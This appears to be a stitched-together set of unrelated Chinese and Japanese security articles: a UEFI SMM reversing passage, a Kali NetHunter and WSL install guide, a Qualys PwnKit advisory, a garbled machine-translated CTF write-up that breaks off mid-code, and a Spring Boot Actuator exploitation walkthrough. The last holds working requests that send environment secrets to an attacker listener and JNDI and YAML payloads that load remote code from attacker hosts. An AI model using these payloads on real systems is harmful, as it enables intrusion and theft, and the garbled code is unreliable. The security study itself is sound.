在EDK2中，通常的做法是將這些EFI_SMRAM_DESCRIPTORS存儲為全局變量，以便其他函數在未來可以輕鬆地訪問它們。正如你可能猜到的，這些函數之一不是別的，而是SmmIsBufferOutsideSmmValid()，它用以遍歷描述符列表，以確定調用方提供的緩衝區是否安全。 SmmIsBufferOutsideSmmValid的源代碼 考慮到這一點，我們識別SmmIsBufferOutsideSmmValid()函數的策略將是反向查找：首先，我們要找到由EFI_SMM_ACCESS2_PROTOCOL初始化的全局SMRAM描述符，然後才根據使用它們的函數，推斷哪個最可能是SmmIsBufferOutsideSmmValid()函數。 從技術上講，只要按照下面的簡單步驟就可以做到這一點： 進入efiXplorer的“protocols”選項卡標籤，雙擊EFI_SMM_ACCESS2_PROTOCOL。這樣，IDA將跳到使用這個GUID的位置（通常是對LocateProtocol的調用）。 在IDA中搜索EFI_SMM_ACCESS2_PROTOCOL 點擊協議的接口指針（EFISmmAccess2Protocol），點擊“x”來搜索其交叉引用。 列出EfiSmmAccess2Protocol的交叉引用 對於每個對GetCapabilities()的調用，檢查第3個參數（SMRAM描述符）是否是一個全局變量。如果是的話，執行下列操作： 點擊“n”，根據一些命名慣例（例如，SmramDescriptor_XXX，其中XXX是一個序號）重新命名它，以便於將來參考。 點擊“y”，將其變量類型設置為EFI_SMRAM_DESCRIPTOR *。

0x00 前言Android滲透平台搭建的系列文章第三篇，介紹Android設備OnePlus6T上安裝Kali的兩種方法，記錄細節。 方法一：在Android系統安裝Kali NetHunter(2022.1) 方法二：在Win11系統安裝Linux子系統kali-linux 測試設備：OnePlus 6T 10g+256g 邁凱倫 測試設備系統：Android 11+Win11 0x01 簡介本文將要介紹以下內容： 在Android系統安裝Kali NetHunter(2022.1) 在Win11系統安裝Linux子系統kali-linux 0x02 在Android系統安裝Kali NetHunter(2022.1)流程可參考之前的文章《Android渗透平台搭建——在Nexus6P安装Kali NetHunter(2022.1)》 Win11切換至Android的方法： 開機時按音量+，選擇UEFI BootMenu，再選擇Reboot to other slot 1.下載文件(1)Kali NetHunter 需要Android版本10或Android版本11 OnePlus6T Android 11的下載地址：https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-oneplus6-oos-eleven-kalifs-full.zip OnePlus6T Android 10的下載地址：https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-oneplus6-oos-ten-kalifs-full.zip (2)Magisk 下載頁面：https://github.com/topjohnwu/Magisk 這裡選擇Magisk-v21.4.zip，下載地址：https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-v21.4.zip (3)TWRP 下載頁面：https://twrp.me/oneplus/oneplus6t.html 下載地址： https://dl.twrp.me/fajita/twrp-3.6.1_9-0-fajita.img https://dl.twrp.me/fajita/twrp-installer-3.6.1_9-0-fajita.zip 下載得到文件twrp-3.6.1_9-0-fajita.img和twrp-installer-3.6.1_9-0-fajita.zip twrp-3.6.1_9-0-fajita.img用於通過fastboot啟動TWRP，twrp-installer-3.6.1_9-0-fajita.zip用於永久安裝TWRP 2.安裝Kali NetHunter(1)進入Recovery模式 在開機狀態下，按住電源鍵，選擇恢復模式，進入Recovery模式 在TWRP頁面，選擇Install，我的OnePlus6T為Android 11，這裡選擇nethunter-2022.1-oneplus6-oos-eleven-kalifs-full.zip 需要取消選擇Reboot after installation is complete避免安裝後自動重啟 經過漫長的等待，安裝成功 安裝Magisk-v21.4.zip 在TWRP頁面，選擇Install，選擇Magisk-v21.4.zip 安裝成功後選擇Reboot System 至此，Kali NetHunter安裝完成 在應用列表中，能夠看到新安裝的NetHunter、NetHunter Terminal 和NetHunterKeX 0x03 在Win11系統安裝Linux子系統kali-linuxAndroid切換至Win11的方法： 進入Recovery模式，在TWRP中，選擇Reboot - SlotB 進入Win11系統後，可選擇在微軟商店搜索kali進行安裝，具體流程如下： 1.開啟子系統LinuxPowershell： Enable-WindowsOptionalFeature-Online-FeatureNameMicrosoft-Windows-Subsystem-Linux安裝完會提示需要重啟操作系統 2.在微軟商店搜索kali並安裝安裝後直接啟動kali會報錯0x80370102，這裡需要手動設置wsl版本為1 wsl命令可參考：https://docs.microsoft.com/en-us/windows/wsl/basic-commands 3.設置wsl版本為1命令如下： wsl--set-default-version1查看已安裝系統的命令如下: wsl--list--verbose返回結果能看到kali-linux 4.配置Kali默認登錄用戶設置默認登錄用戶為root的命令如下： kaliconfig--default-userroot配置root用戶密碼，命令如下： kali passwdroot toor toor5.更新kalisudoaptupdatesudoaptupgrade-y如果無法更新，可以修改成國內的源 sudovi/etc/apt/sources.list添加： debhttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib deb-srchttp://mirrors.aliyun.com/kalikali-rollingmainnon-freecontrib6.安裝Kali GUI本地Win11可通過遠程桌面連接至Kali 首先在命令行輸入kali進入kali控制台 (1)安裝kali-desktop-xfce sudoaptinstallkali-desktop-xfce-y(2)安裝xrdp sudoaptinstallxrdp-y(3)修改端口為3390 sed-i's/port=3389/port=3390/g'/etc/xrdp/xrdp.ini(4)開啟服務 sudoservicexrdpstart(5)連接遠程桌面 mstsc 127.0.0.1:3390補充：常見問題 (1)修改kali分辨率 在kali中依次選擇Settings - Appearance - Settings - Window Scaling，改成2x (2)無法打開命令行終端，提示：Failed to execute default Terminal Emulator. Input/output error. 先安裝xfce的終端： sudoaptinstallxfce4-terminal在kali中依次選擇Settings - Settings Manager - DefaultApplications - Utilities，將設置Terminal Emulator設置為Xfce Terminal (3)Win11重啟後重新連接kali的遠程桌面 需要先開啟服務xrdp： sudoservicexrdprestart(4)Win11 Linux子系統重啟 netstopLxssManager netstartLxssManager(5)安裝msfconsole sudoaptinstallmetasploit-framework(6)啟動msfconsole 需要在Windows Defender中添加排除目錄：\\wsl.localhost\kali-linux 0x04 小結本文將介紹了在Android設備OnePlus6T上安裝Kali的兩種方法。驍龍845處理器的設備可以選擇安裝Win11再安裝Kali，其他Android設備可選擇安裝Kali NetHunter。

Qualys研究團隊在polkit的pkexec中發現了一個內存破壞漏洞，pkexec是一個SUID-root程序，默認安裝在每個主要的Linux發行版上。這個容易被利用的漏洞允許任何沒有相關權限的用戶通過利用默認配置中的這個漏洞獲得脆弱主機上的完全根權限。 關於Polkit pkexec for LinuxPolkit(以前是PolicyKit)是一個用於控制類unix操作系統中的系統權限的組件。它為非權限進程提供了一種有組織的方式來與權限進程進行通信。還可以使用polkit來執行具有更高權限的命令，使用命令pkexec，後面跟著要執行的命令(具有根權限)。 PwnKit漏洞的潛在影響如果有人成功利用該漏洞，任何非權限用戶都可以獲得該漏洞主機上的root權限。 Qualys的安全研究人員已經能夠獨立驗證該漏洞，並利用該漏洞，進而獲得Ubuntu、Debian、Fedora和CentOS默認安裝的全部root權限。其他Linux 發行版可能容易受到攻擊並且可能被利用。這個漏洞已經隱藏了12 年多，並影響自2009 年5 月第一個版本以來的所有pkexec 版本(commit c8c3d83, “Add a pkexec(1) command”)。 在我們的研究團隊確認該漏洞後，Qualys負責漏洞的披露，並與供應商和開源發行方協調，公佈了該漏洞。 潛在漏洞利用路徑的視頻可以點此查看。 （https://player.vimeo.com/video/669715589） 另外可以查看本視頻（https://player.vimeo.com/video/670582239），了解如何使用Qualys VMDR查看PwnKit漏洞。 PwnKit漏洞的技術細節介紹pkexec的main()函數的開頭處理命令行參數(第534-568行)，如果它的路徑不是絕對的，則在path環境變量的目錄中搜索要執行的程序(第610-640行)： 不幸的是，如果命令行參數argc的數量是0，這意味著如果我們傳遞給execve()的參數列表argv是空的，即{NULL}，那麼argv[0]就是NULL。這是參數列表的終止符。所以： 在第534行，整數n被永久地設置為1； 在第610行，從argv[1]越界讀取指針路徑； 在第639行，指針s被越界寫入argv[1]； 但是，這個越界的argv[1]到底要讀寫什麼呢？ 要回答這個問題，我們必須稍微離題一下。當execve()一個新程序時，內核將我們的參數、環境字符串和指針(argv和envp)複製到新程序堆棧的末尾，例如： 顯然，因為argv和envp指針在內存中是連續的，如果argc是0，那麼越界的argv[1]實際上是envp[0]，指向我們的第一個環境變量value的指針。結果： 在第610 行，要執行的程序的路徑從argv[1]（即envp[0]）越界讀取，並指向“value”； 在第632 行，這個路徑“value”被傳遞給g_find_program_in_path()（因為“value”在第629行不是以斜杠開頭的）； 然後，g_find_program_in_path() 在我們的PATH 環境變量的目錄中搜索一個名為“value”的可執行文件； 如果找到這樣的可執行文件，則將其完整路徑返回給pkexec 的main() 函數（在第632 行）； 最後，在第639 行，這個完整路徑被越界寫入argv[1]（即envp[0]），從而覆蓋了我們的第一個環境變量。 所以，更準確地說： 如果我們的PATH環境變量是' PATH=name '，並且目錄' name '存在(在當前工作目錄中)並且包含一個名為' value '的可執行文件，那麼一個指向字符串' name/value '的指針將被寫入envp[0]。 如果我們的PATH 是“PATH=name=.”，並且目錄是“name=.”存在並包含一個名為“value”的可執行文件，然後將指向字符串“name=./value”的指針越界寫入envp[0]。 換句話說，這種越界寫入允許我們將“不安全的”環境變量(例如，LD_PRELOAD)重新引入到pkexec的環境中。在調用main()函數之前，這些“不安全的”變量通常會(通過ld.so)從SUID程序的環境中刪除。我們將在下一節中使用這個強大的原語。 不過要注意的是，polkit也支持非linux操作系統，如Solaris和*BSD，但我們尚未調查它們的可利用性。然而，我們注意到OpenBSD是不可利用的，因為如果argc為0，它的內核拒絕execve()一個程序。 如何修復PwnKit漏洞考慮到該漏洞在Linux和非Linux操作系統中的攻擊範圍，Qualys建議用戶立即更新此應用。 目前Qualys客戶可以搜索CVE-2021-4034的相關新聞，以識別該漏洞的所有QID 和設備。 現在可以開始免費的Qualys VMDR 試用，以獲得對CVE-2021-4034 的QID（檢測）的完全訪問權限，其中可以識別所有易受攻擊的設備。 Qualys研究團隊在polkit的pkexec中發現了一個內存破壞漏洞，pkexec是一個SUID-root程序，默認安裝在每個主要的Linux發行版上。這個容易被利用的漏洞允許任何沒有權限的用戶通過利用默認配置中的這個漏洞獲得脆弱主機上的完全根權限。 關於Linux的Polkit pkexecQualys QID 覆蓋範圍Qualys 將發布下表中的QID，因為它們從vulnsigs 版本VULNSIGS-2.5.387-2 和Linux 雲代理清單版本lx_manifest-2.5.387.2-1 開始可用。 使用Qualys VMDR 發現易受攻擊的Linux 服務器 識別運行Linux 內核的設備接下來會介紹當前Qualys 客戶如何在他們的環境中檢測PwnKit。 管理這一關鍵漏洞和降低風險的第一步是識別運行Linux操作系統的所有設備。 Qualys VMDR使得識別此類設備變得很容易。 Query: operatingSystem.category1:`Linux` 一旦主機被識別出來，就可以將它們與“動態標籤”組合在一起，比如說：“Linux 服務器”。這有助於自動對具有上述漏洞的現有主機以及在你的環境中啟動的任何新Linux 設備進行分組。標籤使得這些分組設備可以在整個Qualys雲平台上進行查詢、報告和管理。 基於RTI 的優先級使用Qualys VMDR，可以使用以下實時威脅指標(RTI) 確定PwnKit 漏洞的優先級： Predicted_High_Risk Privilege_Escalation Easy_Exploit High_Lateral_Movement 使用Qualys VMDR修復我們預計供應商將在短期內發布針對該漏洞的修復。當修復可用時，Qualys Patch Management可用於將這些修復部署到易受攻擊的設備中。 使用基於上述RTI 方法的相同優先級，客戶可以使用漏洞右側的“立即修復”按鈕將PwnKit 添加到修復作業中。一旦修復發布，Qualys將找到該漏洞的相關修復，並自動將這些修復添加到修復作業中。這將允許客戶將這些修復部署到易受攻擊的設備上，所有這些修復都來自Qualys雲平台。 使用威脅防護檢測受影響的設備VMDR還允許你使用威脅保護自動映射易受PwnKit漏洞攻擊的設備。 使用VMDR 儀表板跟踪漏洞使用VMDR 儀表板，你可以實時跟踪此漏洞、受影響的主機、狀態和整體管理。為儀表板小部件啟用趨勢分析後，你可以使用“PwnKit”儀表板跟踪環境中的這些漏洞發展趨勢。 利用Qualys XDR 識別漏洞利用嘗試Qualys XDR 客戶可以使用標題為“T1068 – Linux：檢測到Polkit pkexec 本地特權升級漏洞(CVE-2021-4034)”的規則名稱來檢測受影響系統上的利用後活動。啟用後，客戶還可以使用以下QQL 查詢搜索易受攻擊的系統： eventName:”ThevaluefortheSHELLvariablewasnotfoundthe/etc/shellsfile“or“containssuspiciouscontent“客戶將能夠看到類似以下截圖的輸出: 常見問題哪些版本易受攻擊？從2009年開始的所有Polkit版本都很脆弱。 Qualys研究團隊是否會發布此漏洞的利用代碼？不會。但鑑於利用該漏洞非常容易，我們預計在本博客發布日期後的幾天內，公開的漏洞利用將變得可用。 是否有緩解措施？如果你的操作系統沒有可用的補丁，你可以從pkexec 中刪除SUID 位作為臨時緩解措施；例如： #chmod0755/usr/bin/pkexec這個漏洞可以遠程利用嗎？不可以，但是如果攻擊者可以以任何非特權用戶身份登錄，則可以快速利用該漏洞來獲得root 特權。 能不能查到被攻擊的證據?是的，這種利用技術會在日誌中留下痕跡，比如“在/etc/SHELL文件中找不到SHELL變量的值”或者“環境變量的值[……]包含可疑內容”。但是，請注意，這個漏洞也可以被利用，不會在日誌中留下任何痕跡。

0x00はじめに この記事は、「2024年のカレッジネットワークセキュリティ管理操作およびメンテナンス競争」の詳細なソリューションです。これは、主にWeb、PWN、RE、その他、アルゴリズムなどの多方向質問の問題解決プロセスをターゲットにしています。 0x01 Misc サインイン GIFを与え、オンラインで直接フレーム化します synt {fvtava-dhvm-jryy-qbar}を取得し、Caesarを見て、rot13で直接デコードします flag {signin-quiz-well-done} Phing Emailの認識 電子メールソフトウェアを使用して表示するか、直接表示できるEML電子メールファイルを提供しました（面倒かもしれません） フラグ1 直接base64フラグを取得するためのデコード{welcometo} フラグ2 次のコンテンツは、base64によってエンコードされた情報です デコード後、それをチェックしてフラグを取得します{phishhunting} フラグ3 EMMLファイルの残りのコンテンツにはフラグがないため、送信者のドメイン名からのみ開始できます。 DNS分析を確認してください、ここに360脅威インテリジェンスセンターがあります https://ti.360.net/domain/foobar-edu-cn.com （このインテリジェンスセンターは、競争プロセスの分析履歴を記録するため、サブドメイン情報を見るだけでフラグを取得できます） クエリプロセスはまだ正常です サードパーティのサービスプラットフォームに加えて、ドメイン名のTXTレコードを表示するためにWindowsに付属するNSLookupを使用することもできます。 nslookup -qt=txt foobar-edu-cn.com プロンプトによると、ドメイン名の下にサブドメイン名の分析レコードを見つけ、3つの方法で完全なフラグをスプライスする必要があります ドメイン名は海外で適用されるため、多くの国内のウェブサイトを解析できないため、外国のウェブサイトを使用してゆっくりと試すことができます https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/detailsspf https://dnsspy.io/scan/foobar-edu-cn.comdefault._domainkey https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com_dmarc 3つの部分を個別に取得し、フラグを取得するためにそれらをスプライシングします flag_part1={n0wy0u flag_part2=_kn0wh0wt0_ flag_part3=analys1sdns} flag {n0wy0u_kn0wh0wt0_analys1sdns} 実際、これらの3つのサブドメインは、それぞれ対応するサービスを提供するSPF、DKIM、DMARCなど、電子メールサーバーに対応するいくつかのプロトコルです。 https://help.aliyun.com/document_detail/2685946.html easyshell PCAPトラフィックパッケージを提供すると、horseが送信された後に実行する必要があるshell.phpのリクエストを郵送に直接確認できます。 HTTPストリームをフィルタリングし、上記の推測を確認してください HTTPストリームを追跡すると、投稿のコンテンツが暗号化されます。 Ice Scorpion 4.0の質問と交通特性を組み合わせて、これはIce Scorpion Horseであると推測されます。 アイスサソリフロー特性： Accept: Application/JSON、Text/JavaScript、 */*; Q=0.01Content-Type: Application/x-www-form-urlencodedConnection: Keep-Alive… Ice Scorpion 4.0はAES暗号化を使用し、デフォルトキーはE45E329FEB5D925Bです。つまり、MD5の最初の16ビット（ 'Rebeyond'）です。 Ice Scorpion 3.0、デフォルトのパスワードは次のとおりです。E45E329FEB5D925B、あなたはそれをチェックすることができます：backing_decrypt/decropt.Php 最後の応答パッケージからデコードしてみてください ここでは、CyberのAES-CBCモードIVが空になることはできないが、オフセットする必要はないので、0に入力する必要があることに注意する必要があります。 コンテンツのあるものを見つけます リクエストパッケージがリクエストしているものをご覧ください。ここで、デコードされた結果を置くと、Secret2.txtファイルを読んでいることがわかります Secret2.txt こんにちは、しかしあなたが探しているものは私ではありません。 次に、以前の応答パッケージでキーコンテンツを見つけます ZIP圧縮パッケージで、直接保存します zipを確認してください。Secret1.txtとSecret2.txtがあり、パスワードが必要です。 既知のsecret2.txtのコンテンツを組み合わせて、既知のプレーンテキストを介して攻撃することができます 最初にsecret2.txtを書き、それをzipとして保存して、元の暗号化アルゴリズムと同じであることを確認してください プレーンテキスト攻撃を開始します。ここに小さなトリックがあります。取得するパスワードが表示されたら停止します。 [ポップアップ]ウィンドウをクリックして、解凍します。 Get Flag {70854278-EA0C-462E-BC18-468C7A04A505} secretdb タイトルはSQLite DBファイルを提供し、遅すぎるだけで、あなたのためのフラグは開かれていません。 削除された情報を復元する必要があります。直接復元されるツールはありません。復元できないか、文字化けしています。手動で抽出してみてください。 参照：https://www.cnblogs.com/jiangcsu/p/6569045.html 焦点は、ユニット内の構造にあります 010editorはsecret.dbを開き、それをフラグに見つけて表示します。赤いボックスの下の部分は、以前に削除されたデータです。 上記のデータベースフラグテーブルの構造から、列がID、ソート、メッセージであることがわかります。ソートは、ソートに使用されるインデックスです。メッセージは表示されている文字を保存するため、上記の図の可視文字、つまりメッセージ、および以前の数字がソートであることを単純に観察できます。たとえば、可視文字9の16進数は39であり、以前の数字は0Eであるため、インデックス0Eの値は9です。 したがって、残りの値を抽出します 0x17- 0x0 f 0xe 9 0x1b 7 0x10 3 0xa b 0x19 2 0x14 b 0xf 2 0x12- 0x23 4 0x16 6 0x1f a 0x25 8 0x2a 0x1e 0x5 f 0x3 g 0x11 c 0xc 0 0x4 { 0x22a 0x21 b 0x7 2 0x1d f 0x26 f 0x1c- 0x9 1 0x27 0 0xd- 0xb 0x8 9 0x1 l 0x13 4 0x29} 0x15 a 0x28 b 0x6 6 0x1a d 0x24 e 0x20 b スクリプトを書き、それをソートし、フラグを出力します f:としてopen（ '1.txt'、 'r'） data=f.readlines（） out=['' for iの範囲（43）] data:のiの場合 index、val=i.replace（ '\ n'、 ''）.split（ ''） index=int（index、16） out [index]=val flag='' インデックス=0 out:のiの場合 print（hex（index）、i） インデックス +=1 フラグ +=i 印刷（フラグ） ＃flag {f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b} 1つが欠けていて、それを爆破して旗を取得します{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b} ゲートウェイ ゲートウェイソースコードを与え、index.htmlには製品名HS8145Vがあります クエリパスワード、cgi-bin/baseinfoset.jsonに一連のパスワードがあります 10611210110712710110449575653565456495151105561031064956505610310256521011041041021055310153102129 CGI-BIN/BASEINFOSET.JSONを検索します https://github.com/iheshime/chinatelecom-esurfing-gateway-hg260-admin-password-algorithm ゲートウェイ管理者の一般的な暗号化アルゴリズムであり、スクリプトがわずかに変更されたことがわかりました。 exp.py： def passwd_decode（code） - str: passwd_list=map（int、code.split（ ''）） 結果=[] passwd_list:のiの場合 97=i=100または65=i=68:の場合 I +=22 Elif I 57: i - =4 result.append（chr（i）） #print（i、chr（i）） return（ '' .join（result）） passwd=passwd_decode（ '10611210110712710110449575653565456495151105561031064956505610310256521011041021055310153102129'） 印刷（passwd） ＃flag {AD1985868133E8CF1828CB84ADBE5A5B}またはcode='106112101107127101104957565356545649515110556103103106495650561031025652101101021055310153102129' [:-1] 'baseinfoset_telecompassword':'1147355110693753113'list=map（int、code.split（' '））result=[] for for i in list: i- 57: i-=4 result.append（ch）プリント（ '' .join（result））＃flag {ad1985868133e8cf1828cb84adbe5a5b} zip #include arpa/inet.h #include sys/wait.h #include stdbool.h #include stdlib.h #include string.h #include unistd.h #include stdio.h #include pty.h Char Token [1024]、buf [1024]; void load（）{ file *f=fopen（ 'token.txt'、 'r'）; fgets（token、sizeof（token）、f）; トークン[64]=0; //たぶん64バイトで十分です fclose（f）; } int cmmpstr（char const *a、char const *b）{ MEMCMPを返します（a、b、strlen（a））; } void zip（char *password）{ intマスター、pid; pid=forkpty（master、null、null、null）; if（pid==0）{ char* argv []={'7z'、 'a'、 'flag.zip'、 'tmp/flag.txt'、 '-mem=aes256'、 '-p'、null}; execve（ '/usr/bin/7z'、argv、null）; } それ以外{ CHARバッファー[4097]; while（true）{ ssize_t n=read（master、buffer、4096）; if（n 0）break; ffflush（stdout）; 書き込み（1、バッファ、n）; バッファー[n]=0;

一、SpringBoot env 获取* 敏感信息 当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了* 通过${name} 可以获取明文字段 2. 配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号) 参考 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA 具体实现过程: 例如: 我们要获取 pid 参数值 "PID": "10648", POST /env HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 76 eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/ 然后 post refresh 任意内容,触发漏洞 Ps: 一般情况需要等待3秒会有响应包，如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用 POST /refresh HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 5 12312 当服务器 nc 监听端口2444 时,接收到 root@kali:/tmp# nc -lvvp 2444 listening on [any] 2444 ... connect to [10.20.24.191] from kali [10.20.24.191] 40960 GET /xstream/apps/ HTTP/1.1 Accept: application/json DiscoveryIdentity-Name: DefaultClient DiscoveryIdentity-Version: 1.4 DiscoveryIdentity-Id: 10.20.24.191 Accept-Encoding: gzip Host: 10.20.24.191:2444 Connection: Keep-Alive User-Agent: Java-EurekaClient/v1.4.11 Authorization: Basic MzgzNDY6bnVsbA== Authorization: Basic MzgzNDY6bnVsbA== base64 解码得到 root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d 38346:null 和上面的 pid 信息一样 同样 获取 user.country参数,步骤也一样 结果: root@kali:/tmp# nc -lvvp 2555 listening on [any] 2555 ... connect to [10.20.24.191] from kali [10.20.24.191] 38994 GET /xstream/apps/ HTTP/1.1 Accept: application/json DiscoveryIdentity-Name: DefaultClient DiscoveryIdentity-Version: 1.4 DiscoveryIdentity-Id: 10.20.24.191 Accept-Encoding: gzip Host: 10.20.24.191:2555 Connection: Keep-Alive User-Agent: Java-EurekaClient/v1.4.11 Authorization: Basic VVM6bnVsbA== sent 0, rcvd 310 base64 解码得到 root@kali:/tmp# echo VVM6bnVsbA== |base64 -d US:null脚本化： 输入要查询的参数,输入 nc 监听的端口 监听端口,获取指定 header 头,自动 base64 解密 Ps: 如果您很幸运在目标类路径中具有Eureka-Client <1.8.7（通常包含在Spring Cloud Netflix中），则可以利用其中的XStream反序列化漏洞。 例如: User-Agent: Java-EurekaClient/v1.4.11 二、SpringBoot_Actuator JNDI RCE1. 环境搭建git clone https://github.com/veracode-research/actuator-testbed 启动 mvn install 或 mvn spring-boot:run 通过编译运行,发现监听IP 地址为 127.0.0.1,只能本机访问 百度查找,修改为 0.0.0.0 就好了 查找关键文件 grep -r 'server.address' -n ./ ./src/main/resources/application.properties:2:server.address=127.0.0.1 ./target/classes/application.properties:2:server.address=127.0.0.1 改为 server.port=8090 server.address=0.0.0.0 # vulnerable configuration set 0: spring boot 1.0 - 1.4 # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters # no configuration required to expose them # safe configuration set 0: spring boot 1.0 - 1.4 #management.security.enabled=true # vulnerable configuration set 1: spring boot 1.5+ # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators #management.security.enabled=false # safe configuration set 1: spring boot 1.5+ # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled #management.security.enabled=false # vulnerable configuration set 2: spring boot 2+ #management.endpoints.web.exposure.include=*2.重启启动mvn spring-boot:run 或 /opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.conf=/opt/apache-maven-3.6.2/bin/m2.conf -Dmaven.home=/opt/apache-maven-3.6.2 -Dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -Dmaven.multiModuleProjectDirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.Launcher spring-boot:run 稍等片刻 root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090 tcp6 0 0 :::8090 :::* LISTEN 33666/java root@kali:~/actuator/actuator-testbed# http://10.20.24.191:8090/ http://10.20.24.191:8090/jolokia/list 中 reloadByURL 可以加载远程 url xml 文件 "ch.qos.logback.classic": { "Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": { "op": { "reloadByURL": { "args": [ { "name": "p1", "type": "java.net.URL", "desc": "" } ], "ret": "void", "desc": "Operation exposed for management" } 3.http 服务存放logback.xml,ExportObject.classlogback.xml 文件内容 <configuration> <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" /> </configuration> ExportObject.java import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class ExportObject { public ExportObject() throws Exception { Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n"); InputStream var2 = var1.getInputStream(); BufferedReader var3 = new BufferedReader(new InputStreamReader(var2)); String var4; while((var4 = var3.readLine()) != null) { System.out.println(var4); } var1.waitFor(); var2.close(); var3.close(); var1.destroy(); } public static void main(String[] var0) throws Exception { } } 4.RCE触发监听 rmi 端口 root@kali:~/ldap_rmi# cat rmi.sh java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://10.20.24.191:8000/#ExportObject root@kali:~/ldap_rmi# ./rmi.sh * Opening JRMP listener on 1099 Have connection from /10.20.24.191:43878 Reading message... Is RMI.lookup call for ExportObject 2 Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class Closing connection 浏览器访问加载远程logback.xml文件进行解析, 服务器访问恶意jndi 地址,导致恶意字节码代码执行 http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml 5. 命令执行成功root@kali:/var/www/html# ls /tmp/j* /tmp/jas502n root@kali:/var/www/html#三、YML RCE 漏洞通过Spring环境spring.cloud.bootstrap.location 属性修改来实现RCE的方法更可靠 该属性用于加载外部配置并以YAML格式解析它。 为了实现这一点，任需要POST /refresh 任意内容触发漏洞。yaml_payload.yml 文件内容： !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"] ]] ] 1.yaml_payload.jar 制造代码 https://github.com/artsploit/yaml-payload AwesomeScriptEngineFactory.java 部分代码 import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("touch /tmp/success"); } catch (IOException e) { e.printStackTrace(); } } ymal_payload.jar\artsploit\AwesomeScriptEngineFactory.java 包含实际的字节码，并在构造函数中带有恶意有效载荷。 ymal_payload.jar\services\javax.script.ScriptEngineFactory 只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件， 以便ServiceLoader知道在哪里可以找到该类 内容：artsploit.AwesomeScriptEngineFactory jar 文件存在到http服务器中 http://10.20.24.191:8090/ymal_payload.jar 2.Set spring.cloud.bootstrap.locationspring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml POST /env HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 73 spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml 3.refresh post任意内容，RCE 漏洞触发POST /refresh HTTP/1.1 Host: 10.20.24.191:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Forwarded-For: 127.0.0.1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 5 123124.RCE 执行成功root@kali:/var/www/html# ls /tmp/succ* /tmp/success root@kali:/var/www/html# Ps: 与Eureka的XStream有效负载相比，yaml的方法甚至可以在最新版本中使用。参考链接https://www.veracode.com/blog/research/exploiting-spring-boot-actuators原文链接： https://github.com/jas502n/SpringBoot_Actuator_RCE

